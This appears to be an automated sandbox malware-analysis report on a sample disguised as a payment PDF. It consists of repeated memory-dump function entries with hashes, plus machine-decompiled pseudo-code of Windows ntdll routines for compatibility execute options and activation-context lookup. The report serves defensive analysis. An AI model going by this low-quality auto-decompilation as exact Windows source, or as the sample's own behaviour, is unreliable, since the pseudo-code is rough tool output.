Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a34f73ca023a4a6a785f5d272c303ec3737921b4ae57e2e5ea1d679eb78ef85
Instruction ID: 52091fc86e24492cc5a34d6981ab4144fa91d6f9b53947f0f054f3a1d9aaeb9f
Opcode Fuzzy Hash: 9a34f73ca023a4a6a785f5d272c303ec3737921b4ae57e2e5ea1d679eb78ef85
Instruction Fuzzy Hash: 11D0E979352E80DFD656CB19C9A5B0573A8FB44B84FC54490E801CB762D66DD984CA04

Uniqueness

Uniqueness Score: -1.00%

Function 334AC620 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b26b5d956b916a6823f9d5f3f736f76b5a6e9545a82aefec3b8cf0bc66e7001
Instruction ID: a7153f1e6ddc4c1d625a6d23ec2d7eb34eb0f6cced09b22f9457473fd31eb7e5
Opcode Fuzzy Hash: 8b26b5d956b916a6823f9d5f3f736f76b5a6e9545a82aefec3b8cf0bc66e7001
Instruction Fuzzy Hash: 4DC01236150644AFC7119B98CD01F0177A9E758B00F000021F2044B571D531E811D648

Uniqueness

Uniqueness Score: -1.00%

Function 33490230 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
Instruction ID: 342610ab48a683abf1189fca09422a14038c62b3eb7a8c39b22fa229e073b455
Opcode Fuzzy Hash: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
Instruction Fuzzy Hash: C5D0123610024CEFCB01DF40C850D9A7B2AFFC8710F108019FD190B6108A35ED62DA54

Uniqueness

Uniqueness Score: -1.00%

Function 3349332D Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cd7a0cba40542002f5a7f393242cee2f830ad860d51489f93f91c1395f24a2a
Instruction ID: ecb965c28d35a38d68590431589995fea5dc9727d98df366c083c2c7e4f0a8e5
Opcode Fuzzy Hash: 2cd7a0cba40542002f5a7f393242cee2f830ad860d51489f93f91c1395f24a2a
Instruction Fuzzy Hash: EDC080B81813406EF7264740C914B143B546B05F85F8C025C65141D591D75ADC01820C

Uniqueness

Uniqueness Score: -1.00%

Function 33470670 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f322a3ca3a75a15032ed1aea1e35d659c770c91524f9ec55eaf48a423b7bcda
Instruction ID: a3da5b9cc95d21a70da4b5cbfa468731c95fbf0dd16867655f629d4cfd141c52
Opcode Fuzzy Hash: 8f322a3ca3a75a15032ed1aea1e35d659c770c91524f9ec55eaf48a423b7bcda
Instruction Fuzzy Hash: C4C0027A7416408FDE05CB19C284A0977E8B744741F150490E8058BB21E625E840CA14

Uniqueness

Uniqueness Score: -1.00%

Function 334B2B00 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d007f8b180bb5bb1cf5a7966dc466953f73acf8b3c13d4226bd4bdb8573da89b
Instruction ID: 2182cbe5621d9efdfc0c5492f742929885899c664077249bf0ff057e7ac2323c
Opcode Fuzzy Hash: d007f8b180bb5bb1cf5a7966dc466953f73acf8b3c13d4226bd4bdb8573da89b
Instruction Fuzzy Hash: 0B90023520508C52E54072584504A46001557D1306F51C416A0064694DD6358D59B675

Uniqueness

Uniqueness Score: -1.00%

Function 334B2BC0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 940f268a2f9e30e687f57b634ab666565b8ecc4e2c7029382aa7a39d433b73b0
Instruction ID: bea63d22f1c879179301d8975946e5c513803f94ac188692aa395097a5f395fb
Opcode Fuzzy Hash: 940f268a2f9e30e687f57b634ab666565b8ecc4e2c7029382aa7a39d433b73b0
Instruction Fuzzy Hash: 3090023520104812E50066985508646000557E1302F51D416A5024555EC67588957135

Uniqueness

Uniqueness Score: -1.00%

Function 334B2BE0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 348c780d7272a6b01eb35638db68589fbb9ef4735082ea61f0f3904228855e26
Instruction ID: 017b47ab70400b76b73b9c6865d6c1f7822e7bb7d5496d6d57350b9fb72d3ae1
Opcode Fuzzy Hash: 348c780d7272a6b01eb35638db68589fbb9ef4735082ea61f0f3904228855e26
Instruction Fuzzy Hash: 9D90022560504812E54072585518706001557D1202F51D416A0024554DC6798A5976B5

Uniqueness

Uniqueness Score: -1.00%

Function 334B2B80 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46efb2c65868ad41acd93b4af08d2ca8253d2a7eba4df252be16eca3bbd710b5
Instruction ID: ba7f297935612de8740c04f2fe80483e5406cb8a3e6006df60bd409da5b47dae
Opcode Fuzzy Hash: 46efb2c65868ad41acd93b4af08d2ca8253d2a7eba4df252be16eca3bbd710b5
Instruction Fuzzy Hash: 5090023520104C52E50062584504B46000557E1302F51C41BA0124654DC635C8557535

Uniqueness

Uniqueness Score: -1.00%

Function 334B2A10 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27eeee5f8ef601cf97aa3134ef6e5c0bc4043b59f28d7fc2a8fd2c84bd91a340
Instruction ID: d28d1d06da6292c78ff40293972cb47b4d25b2d6242688d43035651a519fb9b0
Opcode Fuzzy Hash: 27eeee5f8ef601cf97aa3134ef6e5c0bc4043b59f28d7fc2a8fd2c84bd91a340
Instruction Fuzzy Hash: 95900229221044121545A658070450B044567D7352391C41AF1416590CC63188696335

Uniqueness

Uniqueness Score: -1.00%

Function 334B2AC0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df6016d2570cf74bfab54706a3833d427ff3a6aec4c738fa2a0c1c0e1125b610
Instruction ID: 67417c74920095747b80ab56885c9946106b45354c11d1e6999f53186364f454
Opcode Fuzzy Hash: df6016d2570cf74bfab54706a3833d427ff3a6aec4c738fa2a0c1c0e1125b610
Instruction Fuzzy Hash: 5090023560504C12E55072584514746000557D1302F51C416A0024654DC7758A5976B5

Uniqueness

Uniqueness Score: -1.00%

Function 334B2A80 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3aa984aded4eff3a62a2ed0798295eae320b380039bfaf979e6595fa3d4b17e4
Instruction ID: 118ed5dfdeca1eef51286a70df210378d7b8dbfd166e02ad37dc0c2a722f68c0
Opcode Fuzzy Hash: 3aa984aded4eff3a62a2ed0798295eae320b380039bfaf979e6595fa3d4b17e4
Instruction Fuzzy Hash: 7B90026520204413550572584514616400A57E1202B51C426E1014590DC53588957139

Uniqueness

Uniqueness Score: -1.00%

Function 334B2B20 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: cc5d9924542bf9a932912ffbc27c6daa90bd56846c86c70b7f2a3833b58c64df
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 3354A1F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 285timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3354A25D
RtlDebugPrintTimes.NTDLL ref: 3354A2F1
RtlDebugPrintTimes.NTDLL ref: 3354A314
RtlDebugPrintTimes.NTDLL ref: 3354A340
RtlDebugPrintTimes.NTDLL ref: 3354A415
RtlDebugPrintTimes.NTDLL ref: 3354A468
RtlDebugPrintTimes.NTDLL ref: 3354A487
RtlDebugPrintTimes.NTDLL ref: 3354A4B8

Strings

HEAP: , xrefs: 3354A206

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID: HEAP:
API String ID: 3446177414-2466845122
Opcode ID: 3fd4c68b4be938d61cacaa14c4e275b2124502fd8d2b8c66609e431a49438ed2
Instruction ID: 5613654c09b3e38625c0835df18f4f84256d0da04896fe6a4f3e3c50695e4e5d
Opcode Fuzzy Hash: 3fd4c68b4be938d61cacaa14c4e275b2124502fd8d2b8c66609e431a49438ed2
Instruction Fuzzy Hash: AEA1BA75A083128FD748CF28E895A1AB7E5FF88350F19492DE945DB350EB30EC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 334A7550 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 194
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E334A7550(void* __ecx) {
				signed int _v8;
				char _v548;
				unsigned int _v552;
				unsigned int _v556;
				unsigned int _v560;
				char _v564;
				char _v568;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t49;
				signed char _t53;
				unsigned int _t55;
				unsigned int _t56;
				unsigned int _t65;
				unsigned int _t66;
				void* _t68;
				unsigned int _t73;
				unsigned int _t77;
				unsigned int _t85;
				char* _t98;
				unsigned int _t102;
				signed int _t103;
				void* _t105;
				signed int _t107;
				void* _t108;
				void* _t110;
				void* _t111;
				void* _t112;

				_t45 =  *0x3356b370 ^ _t107;
				_v8 =  *0x3356b370 ^ _t107;
				_t105 = __ecx;
				if( *0x33566664 == 0) {
					L5:
					return E334B4B50(_t45, _t85, _v8 ^ _t107, _t102, _t105, _t106);
				}
				_t85 = 0;
				E3347E580("true",  *((intOrPtr*)(__ecx + 0x18)), 0, 0,  &_v564);
				if(( *0x7ffe02d5 & 0x00000003) == 0) {
					_t45 = 0;
				} else {
					_t45 =  *(_v564 + 0x5f) & 0x00000001;
				}
				if(_t45 == 0) {
					_v556 = _t85;
					_t49 = E334A7738(_t105);
					__eflags = _t49;
					if(_t49 != 0) {
						L15:
						_push("true");
						_pop(_t103);
						_v556 = _t103;
						L10:
						__eflags = ( *0x7ffe02d5 & 0x0000000c) - 4;
						if(( *0x7ffe02d5 & 0x0000000c) == 4) {
							_t45 = 1;
						} else {
							_t53 = E334A763B(_v564);
							asm("sbb al, al");
							_t45 =  ~_t53 + 1;
							__eflags = _t45;
						}
						__eflags = _t45;
						if(_t45 == 0) {
							_t102 = _t103 | 0x00000040;
							_v556 = _t102;
						}
						__eflags = _t102;
						if(_t102 != 0) {
							L33:
							_push("true");
							_push( &_v556);
							_push(0x22);
							_push(0xffffffff);
							_t45 = E334B2B70();
						}
						goto L4;
					}
					_t12 = _t105 + 0x2c; // -40
					_v552 = _t85;
					_t102 =  &_v552;
					_t55 = E334A76ED(_t12, _t102);
					__eflags = _t55;
					if(_t55 >= 0) {
						__eflags = _v552 - _t85;
						if(_v552 == _t85) {
							goto L8;
						}
						_t20 = _t105 + 0x24; // -48
						_t85 = _t20;
						L334FEF10(0x55, "true", "CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions\n", _v552);
						_v560 = 0x214;
						L334B8F40( &_v548, 0, 0x214);
						_t106 =  *0x33566664;
						_t110 = _t108 + 0x20;
						 *0x335691e0( *((intOrPtr*)(_t105 + 0x28)),  *((intOrPtr*)(_t105 + 0x18)),  *((intOrPtr*)(_t105 + 0x20)), L"ExecuteOptions",  &_v568,  &_v548,  &_v560, _t85);
						_t65 =  *((intOrPtr*)( *0x33566664))();
						__eflags = _t65;
						if(_t65 == 0) {
							goto L8;
						}
						_t66 = _v560;
						__eflags = _t66;
						if(_t66 == 0) {
							goto L8;
						}
						__eflags = _t66 - 0x214;
						if(_t66 >= 0x214) {
							goto L8;
						}
						_t68 = (_t66 >> 1) * 2 - 2;
						__eflags = _t68 - 0x214;
						if(_t68 >= 0x214) {
							L334B4C68();
							goto L33;
						}
						_push(_t85);
						 *((short*)(_t107 + _t68 - 0x220)) = 0;
						L334FEF10(0x55, "true", "CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database\n",  &_v548);
						_t111 = _t110 + 0x14;
						_t73 = L334BA9C0( &_v548, L"Execute=1");
						_push(_t85);
						__eflags = _t73;
						if(_t73 == 0) {
							L334FEF10(0x55, "true", "CLIENT(ntdll): Processing %ws for patching section protection for %wZ\n",  &_v548);
							_t106 =  &_v548;
							_t98 =  &_v548;
							_t112 = _t111 + 0x14;
							_t77 = _v560 + _t98;
							_v552 = _t77;
							__eflags = _t98 - _t77;
							if(_t98 >= _t77) {
								goto L8;
							} else {
								goto L27;
							}
							do {
								L27:
								_t85 = E334BA690(_t106, 0x20);
								__eflags = _t85;
								if(__eflags != 0) {
									__eflags = 0;
									 *_t85 = 0;
								}
								L334FEF10(0x55, "true", "CLIENT(ntdll): Processing section info %ws...\n", _t106);
								_t112 = _t112 + 0x10;
								L334ECC1E(_t105, _t106, __eflags);
								__eflags = _t85;
								if(_t85 == 0) {
									goto L8;
								}
								_t106 = _t85 + 2;
								__eflags = _t106 - _v552;
							} while (_t106 < _v552);
							goto L8;
						}
						_push("CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ\n");
						_push("true");
						_push(0x55);
						L334FEF10();
						goto L15;
					}
					L8:
					_t56 = E334A7648(_t105);
					__eflags = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					_t103 = _v556;
					goto L10;
				} else {
					L4:
					 *(_t105 + 0x34) =  *(_t105 + 0x34) | 0x80000000;
					goto L5;
				}
			}

0x334a7560
0x334a7562
0x334a756f
0x334a7571
0x334a75ab
0x334a75b9
0x334a75b9
0x334a7579
0x334a7583
0x334a758f
0x334e4443
0x334a7595
0x334a759e
0x334a759e
0x334a75a2
0x334a75bc
0x334a75c2
0x334a75c7
0x334a75c9
0x334a7621
0x334a7621
0x334a7623
0x334a7624
0x334a75f8
0x334a75ff
0x334a7601
0x334a762c
0x334a7603
0x334a7609
0x334a7610
0x334a7612
0x334a7612
0x334a7612
0x334a7614
0x334a7616
0x334a7630
0x334a7633
0x334a7633
0x334a7618
0x334a761a
0x334e45c9
0x334e45c9
0x334e45d1
0x334e45d2
0x334e45d4
0x334e45d6
0x334e45d6
0x00000000
0x334a761a
0x334a75cb
0x334a75ce
0x334a75d4
0x334a75da
0x334a75df
0x334a75e1
0x334e444a
0x334e4450
0x00000000
0x00000000
0x334e4456
0x334e4456
0x334e4469
0x334e4476
0x334e4486
0x334e448b
0x334e4497
0x334e44b9
0x334e44bf
0x334e44c1
0x334e44c3
0x00000000
0x00000000
0x334e44c9
0x334e44cf
0x334e44d1
0x00000000
0x00000000
0x334e44dc
0x334e44de
0x00000000
0x00000000
0x334e44e6
0x334e44ed
0x334e44ef
0x334e45c4
0x00000000
0x334e45c4
0x334e44f7
0x334e44f8
0x334e4510
0x334e4515
0x334e4524
0x334e452b
0x334e452c
0x334e452e
0x334e4556
0x334e4561
0x334e4567
0x334e4569
0x334e456c
0x334e456e
0x334e4574
0x334e4576
0x00000000
0x00000000
0x00000000
0x00000000
0x334e457c
0x334e457c
0x334e4584
0x334e4588
0x334e458a
0x334e458c
0x334e458e
0x334e458e
0x334e459b
0x334e45a0
0x334e45a7
0x334e45ac
0x334e45ae
0x00000000
0x00000000
0x334e45b4
0x334e45b7
0x334e45b7
0x00000000
0x334e45bf
0x334e4530
0x334e4535
0x334e4537
0x334e4539
0x00000000
0x334e453e
0x334a75e7
0x334a75e9
0x334a75ee
0x334a75f0
0x00000000
0x00000000
0x334a75f2
0x00000000
0x334a75a4
0x334a75a4
0x334a75a4
0x00000000
0x334a75a4

Strings

CLIENT(ntdll): Processing section info %ws..., xrefs: 334E4592
ExecuteOptions, xrefs: 334E44AB
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 334E4507
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 334E454D
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 334E4530
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 334E4460
Execute=1, xrefs: 334E451E

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: 27eb09dd821bc2173fa0a198999268fd379b80ac09b11a7ac1997043159237cb
Instruction ID: 5043df61b03c7814500869fed49bd308b14f4b6c632a44eaee2b1bbbcf245c2f
Opcode Fuzzy Hash: 27eb09dd821bc2173fa0a198999268fd379b80ac09b11a7ac1997043159237cb
Instruction Fuzzy Hash: AE513771E013187EEF209BD8ED84FAD77A8AF14351F4404A9F515A7690EB709A818F68

Uniqueness

Uniqueness Score: -1.00%

Function 3348A170 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 404
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E3348A170(signed char _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr* _a20) {
				signed int _v8;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				signed char _v24;
				intOrPtr _v28;
				char _v36;
				char _v40;
				intOrPtr _v44;
				char _v48;
				intOrPtr _v52;
				char _v56;
				signed int _v60;
				char _v64;
				intOrPtr _v68;
				void* _v72;
				void* _v76;
				void* _v80;
				void* _v84;
				void* _v85;
				void* _v88;
				void* _v96;
				void* _v109;
				intOrPtr _t128;
				void* _t129;
				intOrPtr* _t130;
				intOrPtr _t135;
				void* _t136;
				intOrPtr _t145;
				intOrPtr _t151;
				intOrPtr* _t164;
				intOrPtr _t165;
				signed int _t166;
				intOrPtr _t172;
				intOrPtr _t173;
				intOrPtr _t176;
				signed int _t177;
				intOrPtr _t178;
				intOrPtr _t181;
				void* _t190;
				intOrPtr* _t191;
				intOrPtr _t201;
				signed int _t202;
				void* _t203;
				signed char _t213;
				intOrPtr _t214;
				intOrPtr _t217;
				signed int _t219;
				signed int _t224;
				intOrPtr _t228;
				intOrPtr _t229;
				signed int _t234;
				void* _t236;
				signed int _t240;
				void* _t242;

				_t178 =  *[fs:0x18];
				_t242 = (_t240 & 0xfffffff8) - 0x3c;
				_t128 =  *((intOrPtr*)(_t178 + 0x30));
				if( *((intOrPtr*)(_t128 + 0x1f8)) == 0) {
					if( *((intOrPtr*)(_t128 + 0x200)) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t178 + 0x1a8)))) != 0) {
						goto L1;
					} else {
						_t129 = 0xc0150001;
						goto L33;
					}
				} else {
					L1:
					_v48 = 0;
					_v36 = 0xffffffff;
					_v40 = 0;
					if(_a16 == 0) {
						L83:
						_t129 = 0xc000000d;
						goto L33;
					} else {
						_t213 = _a4;
						if((_t213 & 0xfffffff8) != 0) {
							goto L83;
						} else {
							_t130 = _a20;
							if((_t213 & 0x00000007) == 0) {
								if(_t130 != 0) {
									goto L5;
								} else {
									goto L6;
								}
							} else {
								if(_t130 == 0) {
									goto L83;
								} else {
									L5:
									if( *_t130 < 0x24) {
										goto L83;
									} else {
										L6:
										if((_t213 & 0x00000002) == 0) {
											L9:
											if((_t213 & 0x00000004) != 0) {
												if(_t130 + 0x40 <=  *_t130 + _t130) {
													goto L10;
												} else {
													_push(0xc000000d);
													_push("RtlpFindActivationContextSection_CheckParameters");
													_push("SXS: %s() flags contains return_assembly_metadata but they don\'t fit in size, return invalid_parameter 0x%08lx.\n");
													goto L82;
												}
											} else {
												L10:
												_t233 = _a8;
												_v24 = _t213;
												_t214 =  *[fs:0x18];
												_v16 = _a12;
												_v12 = 0;
												_t172 = _v12;
												_t181 =  *((intOrPtr*)(_t214 + 0x30));
												_v28 = 0x18;
												_v8 = 0;
												_v20 = _a8;
												_v60 = 0;
												_v52 = _t214;
												_v44 = _t181;
												while(1) {
													_t135 = _t172;
													if(_t135 != 0) {
														goto L34;
													}
													_t164 =  *((intOrPtr*)(_t214 + 0x1a8));
													if(_t164 == 0) {
														L14:
														_t228 =  *((intOrPtr*)(_t181 + 0x1f8));
														_v60 = 0;
														if(_t228 == 0) {
															L36:
															_t228 =  *((intOrPtr*)(_t181 + 0x200));
															_v60 = 0xfffffffc;
															if(_t228 == 0) {
																L87:
																if(_t172 <= 3) {
																	goto L16;
																} else {
																	_t129 = 0xc00000e5;
																	goto L90;
																}
															} else {
																_t172 = 3;
																_v12 = 3;
																goto L16;
															}
														} else {
															_t172 = 2;
															_v12 = 2;
															goto L16;
														}
													} else {
														_t165 =  *_t164;
														if(_t165 != 0) {
															_t166 =  *((intOrPtr*)(_t165 + 4));
															_v60 = _t166;
															if(_t166 != 0) {
																if(_t166 == 0xfffffffc) {
																	_t228 =  *((intOrPtr*)(_t181 + 0x200));
																	goto L56;
																} else {
																	if(_t166 == 0xfffffffd) {
																		_t228 = "Actx ";
																		goto L57;
																	} else {
																		_t228 =  *((intOrPtr*)(_t166 + 0x10));
																		goto L56;
																	}
																}
															} else {
																L56:
																if(_t228 == 0) {
																	goto L14;
																} else {
																	L57:
																	_t172 = 1;
																	_v12 = 1;
																	L16:
																	if(_t228 == 0) {
																		_t129 = 0xc0150001;
																		L90:
																		_t234 = 0;
																		goto L91;
																	} else {
																		_t129 = E3348A600(_t228, _t233, _a12,  &_v56,  &_v48);
																		if(_t129 < 0) {
																			_t234 = 0;
																			if(_t129 != 0xc0150001 || _t172 == 3) {
																				goto L19;
																			} else {
																				_t181 = _v44;
																				_t214 = _v52;
																				_t233 = _a8;
																				continue;
																			}
																		} else {
																			_t224 = _v60;
																			_v8 = (0 | _t224 != 0xfffffffc) - 0x00000001 & 0x00000002 | 0 | _t224 == 0x00000000;
																			asm("sbb esi, esi");
																			_t234 =  ~(_t224 - 0xfffffffc) & _t224;
																			_t129 = 0;
																			L19:
																			if(_t129 < 0) {
																				L91:
																				if(_t129 < 0) {
																					goto L33;
																				} else {
																					goto L20;
																				}
																			} else {
																				L20:
																				_t173 = _v48;
																				if(_t173 < 0x2c) {
																					L110:
																					_t138 = _v56;
																					goto L111;
																				} else {
																					_t229 = _a20;
																					while(1) {
																						L22:
																						_t138 = _v56;
																						if( *_v56 != 0x64487353) {
																							break;
																						}
																						_t242 = _t242 - 8;
																						_t129 = E3348A760(_t138, _t173, _a16, _t229,  &_v36,  &_v40);
																						if(_t129 >= 0) {
																							_t83 = _t234 - 1; // -1
																							if((_t83 | 0x00000007) != 0xffffffff) {
																								_t145 =  *((intOrPtr*)(_t234 + 0x14));
																								_v40 = _t145;
																								if(_t145 != 0 && (( *(_t234 + 0x1c) & 0x00000008) == 0 || ( *(_t234 + 0x3c) & 0x00000008) == 0)) {
																									 *((char*)(_t242 + 0xf)) = 0;
